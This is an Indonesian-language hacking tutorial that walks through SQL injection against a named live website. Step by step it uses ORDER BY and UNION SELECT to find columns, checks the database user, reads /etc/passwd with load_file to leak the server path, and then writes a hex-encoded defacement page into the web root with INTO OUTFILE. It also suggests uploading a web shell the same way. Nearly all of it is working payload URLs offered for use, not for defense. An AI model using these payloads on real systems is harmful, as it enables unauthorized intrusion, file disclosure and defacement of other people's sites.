Assalamualaikum kali ini saya akan kasih tutorial sqli to iof
Untuk live target we udah sediain
https://lexsite.com/latestArticle.php?id=5
Langkah pertama 1 pasti pada tau ,kita pantest sqli seperti biasanya
Kita order by seperti biasanya https://lexsite.com/latestArticle.php?id=5+order+by+6
Nah kita sudah menemukan columnya
Tinggal kita union-select seperti biasanya
https://lexsite.com/latestArticle.php?id=5+union+select+1,2,3,4,5,6--+-
Nah setelah Kita union select kita cari angka ajaib nya disini kok gak muncul yak
Tingal kita tambahkan -didepan angka param
https://lexsite.com/latestArticle.php?id=-5+union+select+1,2,3,4,5,6--+-
Dan muncul angka 2
di bagian angka togel kita cek user nya dulu dengan cara user ()
https://lexsite.com/latestArticle.php?id=-5+union+select+1,user (),3,4,5,6--+-
Jika user nya root localhost kemungkinan bisa kita iof
https://lexsite.com/latestArticle.php?id=-5+union+select+1,user (),3,4,5,6--+-
Disini root nya sesuai dengan nama website nya tapi tidak menutup kemungkinan juga untuk di iof
Habis itu kita ngapain ya bang,tempel Dios wkwk sans nanti dulu, sekarang kita cari path nya buat into out file
Untuk payload nya disini saya gunakan load_file('/etc/passwd')
Setiap payload berbeda buat pangil path nya tergantung webnya juga oke
https://lexsite.com/latestArticle.php?id=-5+union+select+1,2,3,4,5,6--+-
Tadi angka togel nya di 2
https://lexsite.com/latestArticle.php?id=-5+union+select+1,load_file('/etc/passwd'),3,4,5,6--+-
Kita enter
Nah kok eror disini kita menemukan
Nah kita menemukan pathnya di F:\ContentSite\ yang belakang nya gak usah di salin wkwk itu halaman directory pokoknya sampai akhir path / kedua terakhir
F:\ContentSite\
Oke untuk path kita geser menjadi
F:/ContentSite/
Untuk menyesuaikan path di web
https://lexsite.com/latestArticle.php?id=-5+union+select+1,2,3,4,5,6--+-
Oke kita masukkan payload into+outfile+'/var/www/html/shell.php'
Nah untuk memasukkan path kita kita ganti dengan path yang tadi di bagian
https://lexsite.com/latestArticle.php?id=-5+union+select+1,2,3,4,5,6+into+outfile+'F:/ContentSite/contoh.php'--+-
https://lexsite.com/latestArticle.php?id=-5+union+select+1,2,3,4,5,6+into+outfile+'F:/ContentSite/contoh.php'--+-
Oke untuk di bagian ini kita memasukkan file juga ,tapi bedanya disini memasukkan nya ke angka togel ,,nah
Caranya?
Sama seperti kita memasukkan Dios bagian abjad harus di decyrpt ke heex
Untuk tols nya
https://www.online-toolz.com/tools/hex-to-text-converter.php
Saran untuk file nya bahasa html
Nah jika sudah kita decyrpt
Hasilnya
Jangan lupa kita tambahkan 0xdecyprt kita biar ke eksekusi
0x3109320933093409030a5c0a315c09325c09335c09345c093c62723e3c62723e3c62723e3c7469746c653e4d314e3120534845334c3c2f7469746c653e3c63656e7465723e3c696d67207372633d2768747470733a2f2f692e6962622e636f2f6d5233747042332f696d616765732d31312e6a7067273e3c62723e3c617564696f207372633d2268747470733a2f2f632e746f7034746f702e696f2f6d5f31363434327362626f302e6d70332220636f6e74726f6c73206175746f706c61793e3c2f617564696f3e3c62723e3c62723e3c62723e3c666f6e7420666163653d2252616e63686f222073697a653d223670782220636f6c6f723d22626c61636b223e496e6a6563746564204279207a65726f67616e733c62723e3c62723e62757365742068656b65723c62723e3c666f6e7420636f6c6f723d22726564223e6e6a6972206a6177613a763c62723e3c666f6e743e3c666f6e7420636f6c6f723d22726564223e5a65726f5f48347830723c2f666f6e743e3c62723e3c62723e3c62723e3c666f6e7420636f6c6f723d22726564223e49464f52434520534543205445414d3c2f666f6e743e3c666f6e7420636f6c6f723d22626c61636b223e2058203c2f666f6e743e3c666f6e7420636f6c6f723d22626c61636b223e496e646f466f726365735465616d3c2f666f6e743e3c62723e3c62723e3c62723e5c5c5c095c09365c09375c09380a5c0a09360937
Nah kita tinggal melakukan langkah terakhir
https://lexsite.com/latestArticle.php?id=-5+union+select+1,file hex yang tadi,3,4,5,6+into+outfile+'F:/ContentSite/numex.html'--+-
Nama file bebas
Note jangan lupa tambahkan 0x
Jika semua sudah siap kita enter aja
Nah disini sudah saya exsekusi
Tinggal kita cek ke up apa ndak caranya kita cek di publik html nya
https://lexsite.com/namasc lu.html
Disini punya saya
https://lexsite.com/numex.html
Untuk upload Shell juga bisa mungkin belum we coba juga :v ,tapi kita sama harus up file hex uploader,, untuk uploader hex cek di dh ada
Oke sekian materi nya terima kasih
Semoga bermanfaat
Materi by : ObitoHaxor
